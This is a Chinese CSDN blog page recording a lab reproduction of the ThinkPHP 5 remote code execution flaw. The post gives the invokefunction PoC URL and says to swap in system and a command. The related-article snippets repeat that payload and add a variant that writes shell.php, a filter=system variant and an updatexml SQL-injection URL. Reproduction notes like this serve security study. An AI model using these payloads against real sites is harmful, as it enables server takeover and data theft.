thinphp5rce漏洞复现

最新推荐文章于 2024-04-30 00:10:58 发布

mlws1900

最新推荐文章于 2024-04-30 00:10:58 发布

阅读量355

点赞数

分类专栏：漏洞复现 thinkphp 文章标签：安全 php web安全

本文链接：https://blog.csdn.net/qq_29977871/article/details/125665601

版权

漏洞复现同时被 2 个专栏收录

13 篇文章 0 订阅

订阅专栏

thinkphp

3 篇文章 0 订阅

订阅专栏

docker搭建过程和2rce一样，不多赘述

thinkphp2rce漏洞复现_mlws1900的博客-CSDN博客

环境搭建成功

poc

/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

执行命令把vars[0]=system&vars[1][]=命令

漏洞复现成功

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

mlws1900

关注关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
复制链接

分享到 QQ

分享到新浪微博

扫一扫

专栏目录

thinkphp5.0和5.1 rce poc总结

weixin_40709439的博客

01-20

1万+

照搬Sp4ce大神的： https://bbs.ichunqiu.com/thread-49591-1-1.html 版本名是否可被攻击攻击条件 5.0.0 否无 5.0.1 否无 5.0.2 否无 5.0.3 否无 5.0.4 否无 5.0.5 否无 5.0...

[漏洞复现]ThinkPHP 5.0.x 未开启强制路由导致的RCE

wwxxee

05-20

763

ThinkPHP 5.0.x 未开启强制路由导致的RCE 影响版本： ThinkPHP 5.0.5-5.0.22 ThinkPHP 5.1.0-5.1.30 环境： vulhub-master/thinkphp/5-rce 启动docker环境之后访问：这个的版本是ThinkPHP 5.0.20版本： http://ip:8080/ POC： http://192.168.17.134:8080/index.php?s=/Index/\think\app/invokefunction&func

参与评论您还未登录，请先登录后发表或查看评论

ThinkPHP5RCE漏洞复现

飞雪 SecurityBlog

06-16

311

Payload：/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

Thinkphp5 RCE漏洞

Sentiment的博客

05-21

7312

影响版本 5.0.0<=ThinkPHP5<=5.0.23 、5.1.0<=ThinkPHP<=5.1.30 不同版本payload不同，且5.13版本后还与debug模式有关这里跟着feng师傅复现的，所以用的也是5.0.22 ThinkPHP5.0.22完整版 - ThinkPHP框架 5.0.22debug模式RCE 这波属实下饭了，开启debug模式后payload一直没打通，后来发现改成其他版本的配置文件了.........

thinkphp 5-rce版本漏洞复现(超详细版)

热门推荐

精品博客,你值得一看~

08-06

1万+

s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=加你要写入的文件内容url编码。（3）还可以将php代码写入文件, 此处我们写一个phpinfo。（1）在url输出关于 PHP 配置的信息。说明存在远程命令执行漏洞!ip a #获取自己的本机 ip。（4）查看shell.php内容。直接访问 ip+端口。

ThinkPHP 3.2.x RCE漏洞复现

m0_46616663的博客

11-29

2277

打湖湘杯遇到一个类似的willphp题目，都审到cfile了没做出来。。。于是把这个翻出来搞了一波，过程参考了网上别的师傅的0.0 什么是ThinkPHP ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初，2007年元旦正式更名为ThinkPHP，并且遵循Apache2开源协议发布。ThinkPHP从诞生以来一直秉承简洁实用的设计原则，在保持出色的性能和至简的代码的同时，也注重易用性。并且拥有众多原创功能和特性，在社区团队的积极参与下，在易用性、扩展性和性能方面不

Thinkphp5.0.x_RCE复现&5.0.24反序列化大礼包

大博的博客

08-07

6607

环境部署以TP5.0.22为例 + PHP 5.6.27-NTS + phpstorm2020.1 反序列化环境为:TP5.0.24 + PHP 5.6.27-NTS + phpstorm2020.1 漏洞成因现在TP的RCE通常将其分成两类： Request类其中变量被覆盖导致RCE 路由控制不严谨导致可以调用任意类致使RCE 反序列化的应用（需要存在反序列化的地方） Request类其中变量被覆盖导致RCE 我们以这个POC为例，进行复现：我们正常的代码逻辑已经简单的写在了前文，如有代码执行疑

ThinkPHP RCE漏洞分析合集

hackzkaq的博客

03-18

4356

thinkphp5.0.23漏洞复现以及脚本编写

weixin_45653478的博客

04-26

1041

ThinkPHP5.0.23漏洞主要涉及远程代码执行（RCE）的安全隐患。这一漏洞的存在是因为ThinkPHP框架在底层对控制器名的过滤不够严格，导致攻击者有可能通过特定的URL构造，调用到框架内部的敏感函数，进而执行任意命令。

thinkphp5.0.9预处理导致的sql注入复现与详细分析

HBohan的博客

12-11

1073

复现先搭建thinkphp5.0.9环境配置下测试环境然后访问 http://tptest.cc/index.php/index/index/getage?names[0,updatexml(0,concat(0xa,user()),0)]=1 复现成功【点击获取学习资料】渗透工具技术文档、书籍最新大厂面试题目及答案视频教程应急响应笔记学习思路构图等等漏洞分析先看看传进来了什么是一个关联数组跟进where 跟进parseWhereExp

ThinkPHP v5.0.9 核心版

11-30

ThinkPHP是一个开源的，快速、简单的面向对象的轻量级PHP开发框架，遵循Apache2开源协议发布，是为了敏捷WEB应用开发和简化企业级应用开发而诞生的。拥有众多的优秀功能和特性，

thinkphp5.x系列 RCE总结

weixin_30672019的博客

05-11

2863

Thinkphp MVC开发模式执行流程：首先发起请求->开始路由检测->获取pathinfo信息->路由匹配->开始路由解析->获得模块、控制器、操作方法调度信息->开始路由调度->解析模块和类名->组建命名空间>查找并加载类->实例化控制器并调用操作方法->构建响应对象->响应输出->日志保存->程序...

ThinkPHP5--rce远程代码执行

最新发布

m0_74402888的博客

04-30

931

在ThinkPHP5版本中，由于没有正确处理控制器名，导致在网站没有开启强制路由的情况下（即默认情况下）可以执行任意方法，从而导致远程命令执行漏洞。

Thinkphp 5-RCE漏洞复现

Tender*的博客

08-10

971

ThinkPHP5披露最多得漏洞就是RCE，其中的影响版本范围非常广漏洞原理其版本5中，由于没有正确处理控制器名，导致在网站没有开启强制路由的情况下（即默认情况下）可以执行任意方法，从而导致远程命令执行漏洞。影响版本不同版本 payload 不同，且5.13版本后还与debug模式有关漏洞复现进入。

学习笔记-ThinkPHP5任意方法调用RCE

人饭子的博客

11-09

791

参考链接：Mochazz/ThinkPHP-Vuln/ 影响版本：5.0.7<=ThinkPHP5<=5.0.22 、5.1.0<=ThinkPHP<=5.1.30 测试环境：PHP7.3.4、Mysql5.7.26、TP5.0.18 5.1.x ： ?s=index/\think\Request/input&filter[]=system&data...

php访问控制器,thinkphp5.0.9隐藏模块直接访问控制器设置

weixin_39647412的博客

03-10

408

thinkPHP命令执行漏洞

anan2175的博客

05-21

943

thinkPHP中反斜杠的作用是类库\命名空间命令执行的姿势通过反射invokefunction调用call_user_func_array方法，call_user_func_array函数接受两个参数，第一个为函数名，第二个为函数参数数组，如下所示，通过call_user_func_array函数调用system执行whoami函数 ?s=index/think\app/i...

thinkphp 5-rce（rce漏洞getshell）

weixin_51692662的博客

11-03

3396

thinkphp 5-rce（rce漏洞getshell）

ThinkPHP 5.x远程命令执行漏洞复现

WY92139010的博客

09-23

713

ThinkPHP 5.x远程命令执行漏洞复现一、漏洞描述 2018年12月10日,ThinkPHP官方发布了安全更新,其中修复了ThinkPHP5框架的一个高危漏洞: https://blog.thinkphp.cn/869075 漏洞的原因是由于框架对控制器名没有进行足够的检测,导致在没有开启强制路由(默认未开启)的情况下可能导致远程代码执行,受影响的版本包括5.0和5.1。 ...

tinkphp5模型动态改变数据库名称

02-15

在 ThinkPHP 5 中，可以通过使用模型的 connection 属性动态改变数据库名称。例如： ``` $model = new Model(); $model->connection = 'db2'; ``` 其中，'db2' 是预先定义好的数据库配置名称。需要注意的是，这种方式仅对当前模型的数据操作有效，不会影响其他模型。